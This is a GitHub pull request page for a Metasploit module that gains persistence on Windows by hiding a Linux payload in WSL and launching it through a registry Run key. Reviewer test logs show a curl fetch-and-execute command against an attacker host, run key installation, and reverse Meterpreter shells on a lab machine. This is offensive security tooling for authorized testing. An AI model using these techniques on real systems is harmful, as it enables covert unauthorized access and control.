Windows WSL registry persistence #20701
Merged
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Contributor
|
Contributor
Author
|
Good to see it tested on WSL 2! |
Contributor
msutovsky-r7
left a comment
msutovsky-r7
left a comment
There was a problem hiding this comment.
msf exploit(windows/persistence/wsl/registry) > run verbose=true
[*] Command to run on remote host: curl -so ./OuYASrLw http://192.168.168.128:8080/HygsSaoDfedPTzwLqWRI2A;chmod +x ./OuYASrLw;./OuYASrLw&
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(windows/persistence/wsl/registry) >
[*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /HygsSaoDfedPTzwLqWRI2A
[*] Started reverse TCP handler on 192.168.168.128:4444
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: windows. This module works with: Unix, Linux.
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Powershell detected on system
[*] Checking registry write access to: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rjxAUFrhShlH6RC
[+] The target is vulnerable. Registry writable and WSL installed
[*] Root path is HKCU
[*] Enumerating WSL Instances
WSL
===
# Instance_Name State Version Default
- ------------- ----- ------- -------
1 Ubuntu Running 2 true
[*] Writing payload to: /home/ms/vLcySFDA
[+] Payload wrote successfully
[*] Installing run key
[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\972rGv1z
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/DESKTOP-FL6SVUR_20251119.1506/DESKTOP-FL6SVUR_20251119.1506.rc
[*] 192.168.168.221 - Meterpreter session 1 closed. Reason: Died
msf exploit(windows/persistence/wsl/registry) >
[*] Client 192.168.168.221 requested /HygsSaoDfedPTzwLqWRI2A
[*] Sending payload to 192.168.168.221 (curl/8.5.0)
[*] Command shell session 2 opened (192.168.168.128:4444 -> 192.168.168.221:51234) at 2025-11-19 12:17:03 +0100
msf exploit(windows/persistence/wsl/registry) > sessions 2
[*] Starting interaction with 2...
id
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)
msutovsky-r7
added
the
rn-modules
msutovsky-r7
approved these changes
Nov 20, 2025
Contributor
msutovsky-r7
left a comment
msutovsky-r7
left a comment
There was a problem hiding this comment.
msf exploit(windows/persistence/wsl/registry) > run verbose=true
[*] Command to run on remote host: curl -so ./siucFmDu http://192.168.168.128:8080/M1We21fZKyvgtWK9IWStLA;chmod +x ./siucFmDu;./siucFmDu&
[*] Exploit running as background job 0.
[*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /M1We21fZKyvgtWK9IWStLA
[*] Started reverse TCP handler on 192.168.168.128:4444
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: windows. This module works with: Unix, Linux.
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Powershell detected on system
[*] Checking registry write access to: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XtZdtoBY3e6LPMq
[+] The target is vulnerable. Registry writable and WSL installed
[*] Root path is HKCU
[*] Enumerating WSL Instances
WSL
===
# Instance_Name State Version Default
- ------------- ----- ------- -------
1 Ubuntu Running 2 true
[*] Writing payload to: /home/ms/EhYwlsGxQUDG. WSL may take a little while to start up...
[+] Payload wrote successfully
[*] Installing run key
[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\0P4pS3uk
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/DESKTOP-FL6SVUR_20251120.5607/DESKTOP-FL6SVUR_20251120.5607.rc
[*] 192.168.168.221 - Meterpreter session 1 closed. Reason: Died
[*] Client 192.168.168.221 requested /M1We21fZKyvgtWK9IWStLA
[*] Sending payload to 192.168.168.221 (curl/8.5.0)
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.221:56566) at 2025-11-20 11:58:22 +0100
msf exploit(windows/persistence/wsl/registry) > sessions 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : DESKTOP-FL6SVUR.localdomain
OS : Ubuntu 24.04 (Linux 6.6.87.2-microsoft-standard-WSL2)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: ms
Contributor
Release NotesAdds a new Windows persistence module - the WSL registry module. The module will create registry entries ( |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Fixes #20683
Creates a new Windows persistence by putting a LINUX payload in WSL and executing it from the registry. Does your Windows AV detect Linux payloads? Hope so!
Also ninjas in a patch to where a crash would happen with reverse_ssh payloads because there was no
wfsdelayVerification
msfconsoleuse exploit/windows/persistence/wsl/registryset SESSION <id>exploit